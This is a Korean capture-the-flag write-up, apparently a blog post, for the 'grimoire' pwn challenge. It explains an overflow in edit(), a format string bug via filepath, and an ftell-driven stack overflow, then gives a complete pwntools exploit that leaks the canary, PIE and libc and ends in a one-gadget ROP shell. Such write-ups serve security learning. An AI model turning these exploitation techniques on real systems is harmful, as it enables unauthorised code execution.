grimoire.c, chall, libc.so.6이 주어진다. 근데 서버 닫혀서 로컬에서 풀었다.
Find the Vulnerability
일단 너무 뻔하게 edit 함수에서 overflow가 발생한다. offset을 늘리면 받는 size를 그만큼 줄여야 하는데 그러지 않고 있기 때문이다.
text 뒤에 fp, init, filepath를 overwrite 할 수 있다.
void error(const char *s, char *errstring)
{
errmsg = (char*)malloc(strlen(s) + strlen(colon) + strlen(errstring) + 2);
snprintf(errmsg, malloc_usable_size(errmsg), "%s%s%s\n", s, colon, errstring);
fprintf(stderr, errmsg);
free(errmsg);
}
error 함수의 fprintf(stderr, errmsg)
에서 FSB가 가능하다.
void grimoire_open(void)
{
fp = fopen(filepath, "r");
if (fp == NULL) {
error(filepath, "No such file or directory");
puts("You lost the grimoire...");
return;
}
}
다른 함수들은 error 함수의 인자값으로 정해진 스트링이 주어지는데 open 함수에서만 filepath의 값을 전달한다. 즉, filepath의 값으로 FSB가 발생하게 filepath를 조작해주면 된다.
그렇다면 아까 본 메모리에서 fp와 init을 덮어주어야 하는데 fp의 값을 바꾸면 뭔가 오류가 발생할 것 같아서 안전하게 fp를 먼저 leak하기로 했다.
text를 0x200 만큼 꽉 채운다면 뒤에 fp의 주소값이 grimoire_read 함수에서 leak된다.
void grimoire_read(void)
{
unsigned short size;
if (init == 0) {
init = 1;
fseek(fp, 0, SEEK_END);
size = ftell(fp);
fseek(fp, 0, SEEK_SET);
}
size를 ftell 함수의 리턴값을 가진다. 그런데 ftell 함수는 오류가 발생하면 -1을 리턴하고 size는 0xffff 값이 되어 stack에도 overflow가 발생한다.
How to Exploit
1. FSB
FSB를 발생시켜보니, libc 주소와 pie base와 canary를 구할 수 있었다. 그런데 pointer로 fsb가 발생하여 우리가 원하는 주소에 어떤 값을 넣는 것은 이뤄질 수 없었다. 따라서 stack overflow를 발생시켜야 한다. 그리고 FSB를 발생시킬 때, filepath를 정상적으로 바꿔주지 않으면 그 후에 아무것도 진행할 수가 없다. 다행히도 filepath의 주소값이 FSB가 발생하면 나오고 %n으로 값을 넣어줄 수 있다.
처음에는 grimoire.txt로 다시 가려고 했지만 최대 4byte 까지 밖에 넣지 못하여 '.'라는 디렉토리 경로를 넣어주었다.
2. /proc/self/fd/0
filepath를 이 경로로 한다면 read 함수에서 buf에 data를 받을 때, 직접 입력하여 값을 넣어줄 수 있다. filepath를 이 경로로 바꾸고 rop를 구성하자.
Exploit Code
from pwn import *
def open():
p.sendafter('> ', '1')
def read():
p.sendafter('> ', '2')
def edit(Offset, payload):
p.sendafter('> ', '3')
p.sendafter('Offset: ', str(Offset))
p.sendafter('Text: ', payload)
def close():
p.sendafter('> ', '4')
p=process('./chall')
open()
read()
# 1. Leak the fp to overwrite well
edit(0, 'A'*0x1ff+'B')
read()
p.recvuntil('B')
fp = u64(p.recv(6)+'\x00'*2)
p.success('fp addr : '+hex(fp))
# 2. Overwrite the filepath & FSB
payload = p64(fp)+p64(1)+p64(0)+p64(0)
payload += '%3$p%10$p%22$p%6$n'
edit(0x200, payload)
close()
open()
leak = p.recvline()
pie_base = int(leak[:14], 16)-0x162a
canary = int(leak[14:32], 16)
libc_base = int(leak[32:46], 16)-0x21b97
p.success('libc base : '+hex(libc_base))
# 3. Edit the file path to /proc/self/fd/0
open()
read()
payload = p64(fp)+p64(1)+p64(0)+p64(0)
payload += '/proc/self/fd/0\x00'
edit(0x200, payload)
close()
open()
# 4. ROP
read()
payload = 'A'*0x208+p64(canary)+'A'*0x8
payload += p64(libc_base+0x10a38c)
payload = payload.ljust(0xffff, '\x00')
p.send(payload)
p.interactive()
Capture the Flag
'Writeup [pwn] > CTF 대회 기출' 카테고리의 다른 글
[VolgaCTF 2020 Quals] Notepad-- (0) | 2020.04.01 |
---|---|
[zer0pts CTF 2020] babybof (0) | 2020.03.19 |
[zer0pts CTF 2020] protrude (0) | 2020.03.15 |
[zer0pts CTF 2020] diylist (0) | 2020.03.12 |
[zer0pts CTF 2020] hipwn (0) | 2020.03.11 |